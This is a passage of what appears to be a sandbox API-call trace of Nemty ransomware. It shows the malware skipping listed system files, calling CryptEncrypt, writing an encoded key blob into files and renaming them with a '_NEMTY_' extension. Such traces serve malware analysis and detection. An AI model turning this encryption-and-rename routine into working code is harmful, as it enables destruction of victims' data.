dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0122.757] CloseHandle (hObject=0xffffffff) returned 0 [0122.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0122.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0122.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0122.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0122.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png._nemty_kgobjgd_")) returned 0 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0122.758] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c66e10, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c66e10, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28cd020b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="trad_h.png", cAlternateFileName="")) returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2=".") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="..") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="...") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="windows") returned -1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="$RECYCLE.BIN") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="rsa") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="NTDETECT.COM") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="ntldr") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="MSDOS.SYS") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="IO.SYS") returned 1 [0122.758] lstrcmpiW (lpString1="trad_h.png", lpString2="boot.ini") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="boot.ini") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="AUTOEXEC.BAT") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="ntuser.dat") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="desktop.ini") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="CONFIG.SYS") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="RECYCLER") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="BOOTSECT.BAK") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="bootmgr") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="programdata") returned 1 [0122.759] lstrcmpiW (lpString1="trad_h.png", lpString2="appdata") returned 1 [0122.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_h.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0122.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_h.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_h.png", lpUsedDefaultChar=0x0) returned 10 [0122.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_h.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0122.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_h.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_h.png", lpUsedDefaultChar=0x0) returned 10 [0122.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_h.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0122.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_h.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_h.png", lpUsedDefaultChar=0x0) returned 10 [0122.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_h.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0122.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_h.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_h.png", lpUsedDefaultChar=0x0) returned 10 [0122.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0122.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0122.759] Sleep (dwMilliseconds=0x5) [0122.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfcd2c9f0, dwHighDateTime=0x1d561e7)) [0122.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfcd2c9f0, dwHighDateTime=0x1d561e7)) [0122.776] GetLastError () returned 0x5 [0122.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0122.776] GetLastError () returned 0x5 [0122.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0122.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.776] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0122.776] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0122.777] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0122.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0122.777] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="hIlnuYPIuImiu7PGmnrAKD3vMDaUao57JzxsE4D36dXj4gWjDEyG5xGnfAQNdUKm\r\nA/w2VMdYXQQ4rwxDvqZEgTOrseB5HKOpBthxgVLvHi6+Y+15GqxCQwuIRQyRP/PV\r\nebD9yf/v/wpoldyPDvQ/nMJxjY3vT/F7qXZMsLWmDbOihM0O3nlGWsAZ71o9MQoP\r\niRIe2L+dpXq57VPoIVnBfEdqzMLPT1IWyGY8bmLMIsqBK+H9f2Whnv1NbZlm1deQ\r\npIkSvox4l7KCiymfmGxO+s1UG3xz6yXIzxjQauj+XEp8EYQ9+uzWr8nDr8NGH9cx\r\n9XmhgY22OekA/dyu6qI1dw==\r\n", pcchString=0x653e91c) returned 1 [0122.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0122.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0122.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0122.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0122.777] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.777] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0122.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0122.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0122.884] CloseHandle (hObject=0xffffffff) returned 0 [0122.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0122.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0122.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0122.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0122.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 